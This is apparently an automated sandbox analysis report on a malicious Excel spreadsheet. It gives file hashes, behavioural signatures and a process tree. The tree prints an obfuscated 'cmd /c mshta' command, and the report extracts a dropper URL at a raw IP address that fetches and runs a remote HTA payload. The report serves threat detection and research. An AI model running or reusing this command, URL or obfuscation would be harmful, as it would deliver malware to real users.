Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-11-2024 17:45

General

  • Target

    d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls

  • Size

    108KB

  • MD5

    ee8d73e733ce9e31839cc7e010293795

  • SHA1

    a6723a4d3fd7e672b520638ec98b47f483d2d235

  • SHA256

    d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8

  • SHA512

    688727b9d2a9d397025727d63cfa74f836a3e441cd93ebc1647a11a4981ebf36293d9e4774143a08ff3aac007e71232b3e831523ca81c5de35ee7871e3b2638d

  • SSDEEP

    3072:+C+nBqmxk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIFxe53lGvFTQ3IzxgdrvxpU0O:R+nBqmxk3hbdlylKsgqopeJBWhZFVE+s

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe4.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe4.html
        3⤵
        • Blocklisted process makes network request
        PID:2652

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    c30ae095a84593faf95575e48b5ac2f0

    SHA1

    ef587d36484373a88823c1841920d7a947838d83

    SHA256

    2ce40aae5d2064dfeefaf9faa41604ed9f6fe64474c5f3498f1b71498874174c

    SHA512

    31b41dbb337f947c85fbcb88a00bd8452a63351041ba0db1f939e9feb4c9de97b5d39c8c75bf884b088c24b67e69efd95ee876f54a7b1ee5d84a5d556aa7080b

  • memory/2788-13-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-32-0x00007FFF4EF6D000-0x00007FFF4EF6E000-memory.dmp

    Filesize

    4KB

  • memory/2788-2-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB

  • memory/2788-5-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-4-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB

  • memory/2788-6-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-7-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB

  • memory/2788-11-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-10-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-12-0x00007FFF0C9D0000-0x00007FFF0C9E0000-memory.dmp

    Filesize

    64KB

  • memory/2788-1-0x00007FFF4EF6D000-0x00007FFF4EF6E000-memory.dmp

    Filesize

    4KB

  • memory/2788-3-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB

  • memory/2788-20-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-16-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-14-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-19-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-18-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-17-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-15-0x00007FFF0C9D0000-0x00007FFF0C9E0000-memory.dmp

    Filesize

    64KB

  • memory/2788-8-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-31-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-0-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB

  • memory/2788-33-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2788-9-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB